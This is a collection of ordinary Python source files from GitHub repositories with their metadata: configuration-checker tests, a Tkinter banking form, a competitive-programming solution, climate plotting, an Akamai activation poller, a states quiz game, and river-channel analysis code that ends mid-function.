+{"seq_id":"35078170847","text":"import os\n\nfrom base import ContextTest, CommandContext, listall\nfrom checker.checkers.path import check\nfrom testfixtures import compare\n\nclass TestPath(ContextTest):\n\n    context = CommandContext\n\n    def test_source_doesnt_exist(self):\n        bad_path = os.path.join(self.c.config_folder,'bad')\n        compare(\n            check(self.c.config_folder,bad_path),\n            \"Does not exist:%r\"%bad_path\n            )\n\n    def test_source_is_made_absolute_at_start(self):\n        # CommandContext pretends nothing exists\n        compare(\n            check(self.c.config_folder,'foo'),\n            \"Does not exist:%r\"%os.path.abspath('foo')\n            )\n\n    def test_make_target_dir(self):\n        # make us not-windows\n        self.c.r.replace('subprocess.mswindows',False)\n        # pretend only our path exists\n        path = '/some/deep/path'\n        self.c.existing_paths.add(path)\n        compare(check(self.c.config_folder,path),'')\n        compare(listall(self.c.dir),[\n                'some',\n                'some/deep',\n                'some/deep/path.listing',\n                ])\n        compare(self.c.called,[\n                \"cp -R '/some/deep/path' '<config>/some/deep'\",\n                \"LC_COLLATE=\\\"C\\\" ls -laR --time-style=+ '/some/deep/path'\",\n                ])\n\n    def test_storage_path_already_exists(self):\n        # This is the key element of this test:\n        self.c.dir.makedir('something')\n        \n        self.c.r.replace('subprocess.mswindows',False)\n        # pretend only our path exists\n        path = '/something'\n        self.c.existing_paths.add(path)\n\n        compare(check(self.c.config_folder, path), '')\n        compare(listall(self.c.dir),[\n                'something.listing',\n                'something',\n                ])\n        compare(self.c.called,[\n                \"cp -R '/something' '<config>'\",\n                \"LC_COLLATE=\\\"C\\\" ls -laR --time-style=+ '/something'\",\n                ])\n\n    def test_selinux_entries(self):\n        # selinux in the 2.6 kernel introduces a new column\n        # in the permissions block, which we ignore for now\n        checker_txt = \"path:/some/folder\\n\"\n        \n        with CommandContext() as c:\n            # pretend we're not on windows\n            c.r.replace('subprocess.mswindows',False)\n            # pretend the paths exist\n            c.existing_paths.add('/some/folder')\n            # stub out the cp and ls calls\n            c.add(\"cp -R '/some/folder' '<config>/some'\",files=(\n                ('some/folder/afile.cfg','content'),\n                ('some/folder/bfile.cfg','content'),\n                ('some/folder/cfile.cfg','content'),\n                ))\n            c.add(\"LC_COLLATE=\\\"C\\\" ls -laR --time-style=+ '/some/folder'\",\n                  output=\"\"\"/some/folder:\ntotal 36\ndrwxr-xr-x.  2 root root 4096  .\ndrwxr-xr-x+ 46 root root 4096  ..\n-rw-r--r--.  1 root root 2425  afile.cfg\n-rw-r--r--+  1 root root 1421  bfile.cfg\n-rw-r--r--   1 root root 1421  cfile.cfg\n\"\"\")\n            # now run the config\n            c.run_with_config(checker_txt)\n            # check the calls\n            compare(c.called,[\n                \"cp -R '/some/folder' '<config>/some'\",\n                \"LC_COLLATE=\\\"C\\\" ls -laR --time-style=+ '/some/folder'\",\n                'svn up -q <config>',\n                'svn status <config>'\n                ])\n            # check the files are as expected\n            compare([\n                'checker.txt',\n                'some/folder.listing',\n                'some/folder/afile.cfg',\n                'some/folder/bfile.cfg',\n                'some/folder/cfile.cfg',\n                ], listall(c.dir,dir=False))\n            compare(\"\"\"/some/folder:\ndrwxr-xr-x root root .\n-rw-r--r-- root root afile.cfg\n-rw-r--r-- root root bfile.cfg\n-rw-r--r-- root root cfile.cfg\n\"\"\", c.dir.read(('some', 'folder.listing')))\n","repo_name":"simplistix/checker","sub_path":"checker/tests/test_path.py","file_name":"test_path.py","file_ext":"py","file_size_in_byte":3851,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"23318817097","text":"from tkinter import *\nfrom tkinter import font,messagebox\nfrom proyecto.imagenes.rutas_imagenes import Tool\nfrom proyecto.presentacion.confirmacion_transaccion import FrmConfirmarTransaccion\nfrom proyecto.negocios.Cliente import Cliente\nfrom proyecto.negocios.Cuenta import Cuenta\n\nclass FrmTransaccion(Frame):\n    def __init__(self,master=None,titulo=None,accion=None,cliente=None):\n    #def crear_ventana(self,master=None,titulo=None,accion=None,datos=None):\n        super().__init__(master)\n        self.titulo=titulo\n        self.master = master\n        self.accion=accion\n        #self.datos=datos\n        self.cliente=cliente\n        self.cta_id=0\n        #self.resultado=False\n        #self.email_registrado=email\n        self.numero_cta=StringVar()\n        self.saldo_disp = StringVar()\n        self.tipo_transaccion=StringVar()\n        self.correo_electronico = StringVar()\n        self.celular = StringVar()\n        self.cedula = StringVar()\n        self.lbl_fonts = font.Font(family=\"Calibri\", size=9, weight=\"bold\")\n        self.lbl_entrys = font.Font(family=\"Calibri\", size=14, weight=\"bold\")\n        self.tools = Tool(self.master)\n\n        self.master.title(titulo)\n        self.master.iconbitmap(self.tools.imagen_icono)\n        self.crear_widgets()\n\n\n    def continuar(self):\n        if self.accion==\"DEPOSITAR\":\n            self.depositar()\n\n        if self.accion==\"RETIRAR\":\n            messagebox.showinfo(self.titulo,\"En desarrollo.....\")\n\n        if self.accion == \"TRANSFERIR\":\n            messagebox.showinfo(self.titulo,\"En desarrollo.....\")\n\n\n    def depositar(self):\n        numero_cta = self.numero_cta.get()\n        saldo_disp = self.saldo_disp.get()\n        monto = self.txt_monto_transaccion.get()\n\n        if not monto:\n            messagebox.showwarning(self.titulo, \"Digite el monto a retirar, por favor!!\")\n            return False\n\n        monto=float(monto)\n        saldo = float(saldo_disp) + float(monto)\n\n        #verificar la transaccion a traves de la  clave temp. enviada al correo registrado\n        ventana=Toplevel(self.master)\n        app=FrmConfirmarTransaccion()\n        resultado=app.crear_ventana(master=ventana,titulo=\"Confirmar Datos\",accion=\"REGISTRAR\",email=self.txt_email.get())\n\n        if not resultado:\n            messagebox.showwarning(self.titulo,\"No se puede seguir con la transaccion!!\")\n            return False\n\n\n        cuentas = Cuenta()\n        if not cuentas.depositar_by_cta(self.cta_id,numero_cta, monto,saldo):\n            messagebox.showwarning(self.titulo, \"Ocurrio un error al momento de realizar la transacción!!\")\n            return False\n\n        messagebox.showinfo(self.titulo, \"Deposito realizado con éxito!!\")\n        if messagebox.askquestion(self.titulo,\"Desean realizar otra transacción:  \")==\"no\":\n            self.master.destroy()\n\n\n    def cancelar(self):\n        if messagebox.askquestion(title=self.titulo, message=\"Está seguro de cancelar la transacción Sí / No\") == \"yes\":\n            self.master.destroy()\n\n\n    def validate_entry(self,text):\n        # print(text,\"largo codigo: \",len(self.txt_codigo_temp.get()))\n        # if len(self.txt_codigo_temp.get())>3:\n        #     messagebox.showinfo(\"parar\")\n        #     text = \"\"\n        #     return text\n        return text.isdecimal()\n\n    def crear_widgets(self):\n        fila_grid = 1\n\n        # ZONA DE IDENTIFICACION\n        self.lbl_frm_ident = LabelFrame(self.master, text=\"Identificación\",\n                                        font=self.lbl_fonts,\n                                        width=60, height=100)\n        self.lbl_frm_ident.grid(row=fila_grid, column=0, padx=20, pady=5)\n        fila_grid += 1\n\n        self.lbl1 = Label(self.lbl_frm_ident, text=\"Correo Electrónico\", width=26, anchor=\"w\", bg=\"gray\", fg=\"black\")\n        self.lbl1.grid(row=fila_grid, column=1, padx=10, pady=2)\n        self.txt_email = Entry(self.lbl_frm_ident, width=62, state=\"disabled\", textvariable=self.correo_electronico)\n        self.txt_email.grid(row=fila_grid, column=2, padx=15, pady=2)\n        fila_grid += 1\n\n        self.lbl2 = Label(self.lbl_frm_ident, text=\"# de Celular\", width=26, anchor=\"w\", bg=\"gray\", fg=\"black\")\n        self.lbl2.grid(row=fila_grid, column=1, padx=10, pady=2)\n        self.txt_celular = Entry(self.lbl_frm_ident, width=62, state=\"disabled\", textvariable=self.celular)\n        self.txt_celular.grid(row=fila_grid, column=2, padx=15, pady=2)\n        fila_grid += 1\n\n        self.lbl3 = Label(self.lbl_frm_ident, text=\"# de Cédula\", width=26, anchor=\"w\", bg=\"gray\", fg=\"black\")\n        self.lbl3.grid(row=fila_grid, column=1, padx=10, pady=2)\n        self.txt_cedula = Entry(self.lbl_frm_ident, width=62, state=\"disabled\", textvariable=self.cedula)\n        self.txt_cedula.grid(row=fila_grid, column=2, padx=15, pady=1)\n        fila_grid += 1\n\n        #\n        self.labelframe = LabelFrame(self.master, text=\"Transacción\",\n                                     font=self.lbl_fonts,\n                                     width=60, height=100)\n        self.labelframe.grid(row=fila_grid, column=0, padx=20, pady=10)\n        fila_grid += 1\n\n        self.lbl3_1 = Label(self.labelframe, text=\"Número de Cuenta:\", width=26, anchor=\"w\", bg=\"gray\", fg=\"black\")\n        self.lbl3_1.grid(row=fila_grid, column=1, padx=10, pady=2)\n        self.txt_numero_cta = Entry(self.labelframe, width=37, font=self.lbl_entrys, state=\"readonly\",\n                                    textvariable=self.numero_cta)\n        self.txt_numero_cta.grid(row=fila_grid, column=2, columnspan=2, padx=15, pady=2, ipady=2)\n        fila_grid += 1\n\n        self.lbl4 = Label(self.labelframe, text=\"Saldo Disponible\", width=26, anchor=\"w\", bg=\"gray\", fg=\"black\")\n        self.lbl4.grid(row=fila_grid, column=1, padx=10, pady=2)\n        self.txt_saldo_disp = Entry(self.labelframe, width=37,font=self.lbl_entrys,state=\"readonly\",textvariable=self.saldo_disp)\n        self.txt_saldo_disp.grid(row=fila_grid, column=2,columnspan=2, padx=15, pady=2,ipady=2)\n        fila_grid += 1\n\n\n\n        self.transaccion=\"\"\n        if self.accion==\"DEPOSITAR\":\n            self.transaccion=\"Deposito en Cuenta Bancaria\"\n            self.mensaje_tipo_transaccion=\"Monto a Depositar\"\n        if self.accion==\"RETIRAR\":\n            self.transaccion=\"Retiro de Cuenta Bancaria\"\n            self.mensaje_tipo_transaccion = \"Monto a Retirar\"\n        if self.accion==\"TRANSFERIR\":\n            self.transaccion=\"Transferencia de Cuentas Bancarias\"\n            self.mensaje_tipo_transaccion = \"Monto a Transaferir\"\n        self.lbl5 = Label(self.labelframe, text=\"Tipo de Transacción: \", width=26, anchor=\"w\", bg=\"gray\", fg=\"black\")\n        self.lbl5.grid(row=fila_grid, column=1, padx=10, pady=2)\n        self.txt_transaccion = Entry(self.labelframe, width=62, state=\"disabled\", textvariable=self.tipo_transaccion)\n        self.txt_transaccion.grid(row=fila_grid, column=2, padx=15, pady=1)\n        self.tipo_transaccion.set(self.transaccion)\n        fila_grid += 1\n\n        self.lbl6 = Label(self.labelframe, text=self.mensaje_tipo_transaccion, width=26, anchor=\"w\", bg=\"gray\", fg=\"black\")\n        self.lbl6.grid(row=fila_grid, column=1, padx=10, pady=2)\n        self.txt_monto_transaccion = Entry(self.labelframe, width=62, state=\"normal\")\n        self.txt_monto_transaccion.grid(row=fila_grid, column=2, padx=15, pady=1)\n        fila_grid += 1\n\n        if self.accion == \"TRANSFERIR\":\n            self.lbl7 = Label(self.labelframe, text=\"Cuenta a Transferir\", width=26, anchor=\"w\", bg=\"gray\",\n                              fg=\"black\")\n            self.lbl7.grid(row=fila_grid, column=1, padx=10, pady=2)\n            self.txt_cta_transferir = Entry(self.labelframe, width=62, state=\"normal\")\n            self.txt_cta_transferir.grid(row=fila_grid, column=2, padx=15, pady=1)\n            fila_grid += 1\n\n        # zona de botones\n        self.frame_botones = LabelFrame(self.master, text=\"Acciones\",\n                                        font=self.lbl_fonts,\n                                        width=200, height=100)\n        self.frame_botones.grid(row=fila_grid, column=0, padx=20, pady=10)\n        fila_grid += 1\n\n        self.boton_Continuar = Button(self.frame_botones, text=\"Continuar\", width=60, height=38,\n                                    image=self.tools.imagen_avanzar, compound=TOP,\n                                    command=self.continuar)\n        self.boton_Continuar.grid(row=fila_grid, column=2, padx=3, pady=2)\n\n        self.boton_cancelar = Button(self.frame_botones, text=\"Cancelar\", width=60, height=38,\n                                   image=self.tools.imagen_descartar, compound=TOP,\n                                   command=self.cancelar)\n        self.boton_cancelar.grid(row=fila_grid, column=3, padx=3, pady=2)\n\n        clientes=Cliente()\n        cuentas=Cuenta()\n        lista_cta=cuentas.consulta_saldo_disponible_by_cli(self.cliente)\n        lista_datos_reg = clientes.consulta_datos_registro_by_cli(self.cliente)\n\n        self.cta_id=lista_cta[0]\n        self.numero_cta.set(lista_cta[1])\n        self.saldo_disp.set(lista_cta[2])\n\n        self.correo_electronico.set(lista_datos_reg[0])\n        self.celular.set(lista_datos_reg[1])\n        self.cedula.set(lista_datos_reg[2])\n","repo_name":"AdonisAMG/Istg","sub_path":"2G/cuentas_bancarias2/proyecto/presentacion/transacciones.py","file_name":"transacciones.py","file_ext":"py","file_size_in_byte":9242,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18332740781","text":"import sys\nimport math\nimport bisect\nfrom heapq import heapify, heappop, heappush\nfrom collections import deque, defaultdict, Counter\nfrom functools import lru_cache\nfrom itertools import accumulate, combinations, permutations\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\nMOD99 = 998244353\n\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\nSMI = lambda: input().split()\nSLI = lambda: list(SMI())\n\n\n# 削除可能heapq\nfrom heapq import *\nclass Heapq:\n    '''\n    Heapq()    : 本体qと削除用pの2本のheapqを用意する\n    build(a)   : 配列aからプライオリティキューqを構築する\n    push(x)    : プライオリティキューにxを追加\n    erase(x)   : プライオリティーキューからxを(疑似的に)削除\n    clean()    : 削除予定でトップに来た要素をq,pからpop\n    pop((exc)) : トップの要素をqからpop (qが空の場合、excを返す)\n    top((exc)) : トップの要素の値を取得  (qが空の場合、excを返す)\n    '''\n    def __init__(self):\n        self.q = []\n        self.p = []\n    def build(self, a):\n        self.q = a\n        heapify(self.q)\n    def push(self, x):\n        heappush(self.q, x)\n    def erase(self, x):\n        heappush(self.p, x)\n        self.clean()\n    def clean(self):\n        while self.p and self.q and self.q[0]==self.p[0]:\n          heappop(self.q)\n          heappop(self.p)\n    def pop(self, exc=None):\n        self.clean()\n        if self.q:\n          return heappop(self.q)\n        return exc\n    def top(self, exc=None):\n        self.clean()\n        if self.q:\n          return self.q[0]\n        return exc\n\n\ndef main():\n    N = NI()\n    T = []\n\n    hq1 = Heapq()\n    hq2 = Heapq()\n    T1 = [0] * N\n    T2 = [0] * N\n\n    for i in range(N):\n        k, *t = NMI()\n        t = deque(t)\n        if len(t) > 0:\n            x = t.popleft() * (-1)\n            hq1.push((x, i))\n            T1[i] = x\n        if len(t) > 0:\n            x = t.popleft() * (-1)\n            hq2.push((x, i))\n            T2[i] = x\n        T.append(t)\n\n    M = NI()\n    A = NLI()\n\n    # print(hq1.q)\n    # print(hq2.q)\n\n    for a in A:\n        if a == 1:\n            x, i = hq1.pop(exc=(0, 0))\n            t = T2[i]\n            hq2.erase((t, i))\n            hq1.push((t, i))\n            T1[i] = T2[i]\n            if len(T[i]) > 0:\n                t = T[i].popleft()\n                T2[i] = t * (-1)\n                hq2.push((t * (-1), i))\n            else:\n                T2[i] = 0\n            print(-x)\n\n\n        else:\n            x1, i1 = hq1.pop(exc=(0, 0))\n            x2, i2 = hq2.pop(exc=(0, 0))\n\n            if x1 < x2:\n                # x1を採用\n                x, i = x1, i1\n                hq2.push((x2, i2))\n                t = T2[i]\n                hq2.erase((t, i))\n                hq1.push((t, i))\n                T1[i] = T2[i]\n                if len(T[i]) > 0:\n                    t = T[i].popleft()\n                    T2[i] = t * (-1)\n                    hq2.push((t * (-1), i))\n                else:\n                    T2[i] = 0\n                print(-x)\n\n            else:\n                x, i = x2, i2\n                hq1.push((x1, i1))\n\n                if len(T[i]) > 0:\n                    t = T[i].popleft()\n                    # print(x, i, -t)\n                    T2[i] = t * (-1)\n                    hq2.push((t*(-1), i))\n                else:\n                    T2[i] = 0\n                print(-x)\n\n        # print(T1)\n        # print(T2)\n        # print(hq1.q)\n        # print(hq2.q)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"PAST/PAST03L.py","file_name":"PAST03L.py","file_ext":"py","file_size_in_byte":3651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"4023952737","text":"# Load in data for steady state simulations and save average of years 11-15 in climatology folder. \n\nimport numpy as np\nimport xarray as xr\nimport matplotlib.pyplot as plt\nfrom physics import get_edge_psi\n\nintdown=True\n\nvars_90 = get_edge_psi('ss_90.000', thresh=0., intdown=intdown)\nvars_95 = get_edge_psi('ss_95.000', thresh=0., intdown=intdown)\nvars_100 = get_edge_psi('ss_100.000', thresh=0., intdown=intdown)\nvars_105 = get_edge_psi('ss_105.000', thresh=0., intdown=intdown)\nvars_110 = get_edge_psi('ss_110.000', thresh=0., intdown=intdown)\nvars_115 = get_edge_psi('ss_115.000', thresh=0., intdown=intdown)\n\nplt.plot(vars_90[0], vars_90[1], 'xk', mew=2)\nplt.plot(vars_95[0], vars_95[1], 'xk', mew=2)\nplt.plot(vars_100[0], vars_100[1], 'xk', mew=2)\nplt.plot(vars_105[0], vars_105[1], 'xk', mew=2)\nplt.plot(vars_110[0], vars_110[1], 'xk', mew=2)\nplt.plot(vars_115[0], vars_115[1], 'xk', mew=2)\nplt.show()","repo_name":"subond/python_scripts","sub_path":"steady_state_runs/regime_fig_ss.py","file_name":"regime_fig_ss.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"21613505045","text":"from __future__ import annotations\n\nimport json\nimport time\nfrom time import gmtime\nfrom time import strftime\n\nfrom exceptions import setup_logger\nfrom rich.live import Live\nfrom rich.table import Table\n\nlogger = setup_logger()\n\n\ndef generate_table(activationDict, network) -> Table:\n\n    \"\"\"Make a new table.\"\"\"\n    table = Table()\n    table.add_column('Property Name')\n    table.add_column('Property Id')\n    table.add_column('Activation Id')\n    table.add_column('Status')\n\n    for propertyStatus in activationDict:\n        try:\n            activation_status = propertyStatus['activationStatus'][network]\n        except:\n            activation_status = '....Checking Status....'\n        table.add_row(\n            f\"{propertyStatus['propertyName']}\", f\"{propertyStatus['propertyId']}\", f\"{propertyStatus['activationId']}\", f'[red]{activation_status}' if activation_status != 'ACTIVE' else '[green]ACTIVE'\n        )\n    return table\n\n\ndef pollActivation(activationDict, wrapper_object, contract_id, group_id, network):\n    start_time = time.perf_counter()\n    all_properties_active = False\n    elapse_time = 0\n    with Live(generate_table(activationDict, network), refresh_per_second=1) as live:\n        while (not all_properties_active):\n            end_time = time.perf_counter()\n            elapse_time = (end_time - start_time)\n            for i, propertyActivation in enumerate(activationDict):\n                activation_id = propertyActivation['activationId']\n                property_id = propertyActivation['propertyId']\n                property_name = propertyActivation['propertyName']\n                activationStatus = {'STAGING': '',\n                                    'PRODUCTION': ''}\n                if activation_id != 0:\n                    activation_status_response = wrapper_object.pollActivationStatus(contract_id,\n                                                                                    group_id,\n                                                                                    property_id,\n                                                                                    activation_id)\n                    if activation_status_response.status_code == 200:\n                        for each_activation in activation_status_response.json()['activations']['items']:\n                            if each_activation['activationId'] == activation_id:\n                                if network in each_activation['network']:\n                                    if each_activation['status'] != 'ACTIVE':\n                                        activationStatus[network] = 'PENDING_ACTIVATION'\n                                        all_properties_active = False\n                                    elif each_activation['status'] == 'ACTIVE':\n                                        end_time = time.perf_counter()\n                                        elapse_time = str(strftime('%H:%M:%S', gmtime(end_time - start_time)))\n                                        # msg = f'Successfully activated property {property_name} v1 on Akamai {network} network'\n                                        # logger.info(f'Activation Duration: {elapse_time} {msg}')\n                                        activationStatus[network] = 'ACTIVE'\n                                    else:\n                                        logger.error('Unable to parse activation status')\n                                        activationStatus[network] = 'UNABLE_TO_UPDATE_STATUS'\n                                        all_properties_active = False\n                    else:\n                        logger.error(json.dumps(activation_status_response.json(), indent=4))\n                        logger.error(f'Unable to get activation status for {property_name}')\n                        activationStatus[network] = 'UNABLE_TO_UPDATE_STATUS'\n                        all_properties_active = False\n\n                else:\n                    activationStatus[network] = 'ACTIVATION_ERROR'\n\n            # check to see if all are active, if so - set variable to true\n                activationDict[i]['activationStatus'] = activationStatus\n            pending_activations = (list(filter(lambda x: x['activationStatus'][network] not in ['ACTIVE', 'ACTIVATION_ERROR'], activationDict)))\n            live.update(generate_table(activationDict, network))\n            if len(pending_activations) == 0:\n                all_properties_active = True\n                break\n            logger.info('Polling 30s...')\n            time.sleep(30)\n        return (all_properties_active, activationDict)\n","repo_name":"akamai/cli-onboard","sub_path":"bin/poll.py","file_name":"poll.py","file_ext":"py","file_size_in_byte":4594,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"18639917171","text":"from turtle import Screen,Turtle\nimport pandas\ndef find_state(user_answer):\n\n    result = states_df[states_df[\"state\"] == str(user_answer).title()]\n    if not result.empty:\n        return result\n    else:\n        return \"\"\n\ndef write_name_on_window(found_state):\n    state_writer.goto(x=float(found_state[\"x\"]), y=float(found_state[\"y\"]))\n    state_writer.write(arg=result[\"state\"].values[0], move=True, align=\"center\")\ndef create_new_file_and_delete_exist_info():\n\n    with open(\"answered_state.txt\",\"w\") as answered_state:\n        answered_state.write(\"\")\ncreate_new_file_and_delete_exist_info()\nscreen = Screen()\nmap = Turtle()\nstate_writer = Turtle()\nscreen.addshape(\"blank_states_img.gif\")\nmap.shape(\"blank_states_img.gif\")\n\nstates_df = pandas.read_csv(\"50_states.csv\")\nnumber_state = 0\nanswered_state = []\nwhile(number_state<=55):\n    user_answer = screen.textinput(\"state_name\",\"What's another state name?\")\n    if user_answer == \"exit\":\n        break\n    result = find_state(user_answer)\n    if(str(result)!=\"\"):\n        if(user_answer.title() not in answered_state):\n            answered_state.append(user_answer.title())\n        write_name_on_window(result)\n\nprint(f\"You have answered {len(answered_state)} out of 55 states\")\nwith open(\"answered_state.txt\",mode=\"w\") as file:\n        for state in answered_state:\n            file.write(f\"{state}\\n\")\n\n","repo_name":"supawichza40/100DaysCoding-Python","sub_path":"day_25/us-states-game-start/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20451174961","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom scipy.signal import medfilt, savgol_filter\nimport scipy.interpolate\nfrom scipy.spatial import distance\nfrom librosa.sequence import dtw # only need the 'dtw' function from the librosa library\nimport pandas as pd\nimport shapefile\nfrom shapely.geometry.polygon import LinearRing, orient\nfrom shapely.geometry import Polygon, MultiPolygon, Point, MultiLineString, LineString\nfrom shapely.ops import snap, polygonize, unary_union\nfrom descartes import PolygonPatch\nfrom tqdm.notebook import tqdm, trange\nimport itertools\nimport datetime\n\ndef resample_and_smooth(x,y,delta_s,smoothing_factor):\n    dx = np.diff(x); dy = np.diff(y)      \n    ds = np.sqrt(dx**2+dy**2)\n    tck, u = scipy.interpolate.splprep([x,y],s=smoothing_factor) # parametric spline representation of curve\n    unew = np.linspace(0,1,1+int(sum(ds)/delta_s)) # vector for resampling\n    out = scipy.interpolate.splev(unew,tck) # resampling\n    xs = out[0]\n    ys = out[1]\n    return xs, ys\n\ndef correlate_curves(x1, x2, y1, y2):\n    # use dynamic time warping to correlate two 2D curves\n    X = np.vstack((x1,y1))\n    Y = np.vstack((x2,y2))\n    sm = distance.cdist(X.T, Y.T) # similarity matrix\n    D, wp = dtw(C=sm) # dynamic time warping\n    p = wp[:,0] # correlation indices for first curve\n    q = wp[:,1] # correlation indices for second curve\n    return p,q,sm\n\ndef compute_curvature(x,y):\n    dx = np.gradient(x); dy = np.gradient(y)      \n    ds = np.sqrt(dx**2+dy**2)\n    ddx = np.gradient(dx); ddy = np.gradient(dy) # second derivatives \n    curvature = (dx*ddy - dy*ddx) / ((dx**2 + dy**2)**1.5)\n    s = np.cumsum(ds)\n    return curvature, s\n\ndef convert_string_to_date(string):\n    year = int(string[:4])\n    month = int(string[4:6])\n    day = int(string[6:])\n    date = datetime.datetime(year, month, day)\n    return date\n\ndef get_migr_rate(x1, x2, y1, y2, years):\n    p, q, sm = correlate_curves(x1, x2, y1, y2)\n    p = p[::-1] # p and q need to be flipped!\n    q = q[::-1]\n    qn = np.delete(np.array(q),np.where(np.diff(p)==0)[0]+1)\n    pn = np.delete(np.array(p),np.where(np.diff(p)==0)[0]+1)\n    xa = x1[:-1]\n    xb = x1[1:]\n    ya = y1[:-1]\n    yb = y1[1:]\n    x = x2[qn][1:]\n    y = y2[qn][1:]\n    migr_sign = np.sign((x-xa) * (yb-ya) - (y-ya) * (xb-xa))\n    migr_sign = np.hstack((migr_sign[0], migr_sign))\n    migr_dist = migr_sign * sm[pn, qn] / years\n    return migr_dist, migr_sign, p, q\n\ndef find_zero_crossings(curve, s, x, y):\n    n_curv = abs(np.diff(np.sign(curve)))\n    n_curv[n_curv==2] = 1\n    loc_zero_curv = np.where(n_curv)[0]\n    loc_zero_curv = loc_zero_curv +1\n    if loc_zero_curv[-1] != len(s)-1:\n        loc_zero_curv = np.hstack((0,loc_zero_curv,len(s)-1))\n    else:\n        loc_zero_curv = np.hstack((0,loc_zero_curv))\n    n_infl = len(loc_zero_curv)\n    max_curv = np.zeros(n_infl-1)\n    loc_max_curv = np.zeros(n_infl-1, dtype=int)\n    for i in range(1, n_infl):\n        if np.mean(curve[loc_zero_curv[i-1]:loc_zero_curv[i]])>0:\n            max_curv[i-1] = np.max(curve[loc_zero_curv[i-1]:loc_zero_curv[i]])\n        if np.mean(curve[loc_zero_curv[i-1]:loc_zero_curv[i]])<0:\n            max_curv[i-1] = np.min(curve[loc_zero_curv[i-1]:loc_zero_curv[i]])\n        max_local_ind = np.where(curve[loc_zero_curv[i-1]:loc_zero_curv[i]]==max_curv[i-1])[0]\n        if len(max_local_ind)>1:\n            loc_max_curv[i-1] = loc_zero_curv[i-1] + max_local_ind[0]\n        elif len(max_local_ind)==1:\n            loc_max_curv[i-1] = loc_zero_curv[i-1] + max_local_ind\n        else:\n            loc_max_curv[i-1] = 0\n    # find interpolated zero crossing locations:\n    zero_crossings = []\n    for i in loc_zero_curv[1:-1]:\n        x1 = s[i-1]\n        x2 = s[i]\n        y1 = curve[i-1]\n        y2 = curve[i]\n        a = (y2 - y1) / (x2 - x1)\n        b = (y1*x2 - y2*x1) / (x2 - x1)\n        zero_crossings.append(-b/a)\n    zero_x = []\n    zero_y = []\n    count = 0\n    for i in loc_zero_curv[1:-1]:\n        x1 = x[i]\n        y1 = y[i]\n        x2 = x[i+1]\n        y2 = y[i+1]\n        s1 = s[i]\n        s2 = s[i+1]\n        s0 = zero_crossings[count]\n        x0 = x1 + (x2 - x1)*(s0 - s1)/(s2 - s1)\n        y0 = y1 + (y2 - y1)*(s0 - s1)/(s2 - s1)\n        zero_x.append(x0)\n        zero_y.append(y0)\n        count += 1\n    return loc_zero_curv, loc_max_curv, zero_crossings, zero_x, zero_y\n\ndef create_bars(dates, cutoff_area, dirname, ax):\n    # function for creating polygons for 'scroll' bars and plotting them\n    bars = [] # these are 'scroll' bars - shapely MultiPolygon objects that correspond to one time step\n    erosions = []\n    chs = [] # list of channels - shapely Polygon objects\n    jumps = [] # gaps between channel polygons that are not cutoffs\n    all_chs = [] # list of merged channels (to be used for erosion)\n    cutoffs = []\n    cmap = mpl.cm.get_cmap('viridis')\n    print('create channels and cutoffs...')\n    for i in trange(len(dates)-1):\n        ch1 = create_channel_polygon_from_shapefile(dirname,dates[i])\n        ch2 = create_channel_polygon_from_shapefile(dirname,dates[i+1])\n        ch1, bar, erosion, jump, cutoff = one_step_difference_no_plot(ch1,ch2,cutoff_area)\n        chs.append(ch1)\n        erosions.append(erosion)\n        jumps.append(jump)\n        cutoffs.append(cutoff)\n    chs.append(ch2) # append last channel\n    print('create list of merged channels...')\n    for i in trange(len(dates)-1): # create list of merged channels\n        if i == 0: \n            all_ch = chs[len(dates)-1]\n        else:\n            all_ch = all_ch.union(chs[len(dates)-i-1])\n        all_chs.append(all_ch)\n    print('create bars...')\n    for i in trange(len(dates)-1): # create scroll bars\n        bar = chs[i].difference(all_chs[len(dates)-i-2]) # scroll bar defined by difference\n        bars.append(bar)\n        color = cmap(i/float(len(dates)-1))\n        for b in bar: # plotting\n            if MultiPolygon(cutoffs[i]).is_valid: # sometimes this is invalid\n                if not b.intersects(MultiPolygon(cutoffs[i])):\n                    ax.add_patch(PolygonPatch(b,facecolor=color,edgecolor='k'))\n            else:\n                ax.add_patch(PolygonPatch(b,facecolor=color,edgecolor='k'))\n    return bars, erosions, chs, all_chs, jumps, cutoffs\n\ndef create_channel_polygon_from_shapefile(dirname, date):\n    # function for reading channel bank shapefiles and creating a polygon\n    filename1 = dirname+'/lb_'+date[:4]\n    filename2 = dirname+'/rb_'+date[:4]\n    sf1 = shapefile.Reader(filename1).shapes()\n    lb1 = np.array(sf1[0].points)\n    sf2 = shapefile.Reader(filename2).shapes()\n    rb1 = np.array(sf2[0].points)\n    coords = []\n    xm = np.hstack((lb1[:,0],rb1[::-1,0]))\n    ym = np.hstack((lb1[:,1],rb1[::-1,1]))\n    for i in range(len(xm)):\n        coords.append((xm[i],ym[i]))\n    ch = Polygon(LinearRing(coords))\n    if not ch.is_valid:\n        ch = ch.buffer(0)\n    return ch\n\ndef create_channel_polygon(lbx,lby,rbx,rby):\n    # function for creating a channel polygon\n    coords = []\n    xm = np.hstack((lbx,rbx[::-1]))\n    ym = np.hstack((lby,rby[::-1]))\n    for i in range(len(xm)):\n        coords.append((xm[i],ym[i]))\n    ch = Polygon(LinearRing(coords))\n    return ch\n\ndef one_step_difference_no_plot(ch1, ch2, cutoff_area):\n    both_channels = ch1.union(ch2) # union of the two channels\n    outline = Polygon(LinearRing(list(both_channels.exterior.coords))) # outline of the union\n    jump = outline.difference(both_channels) # gaps between the channels\n    bar = 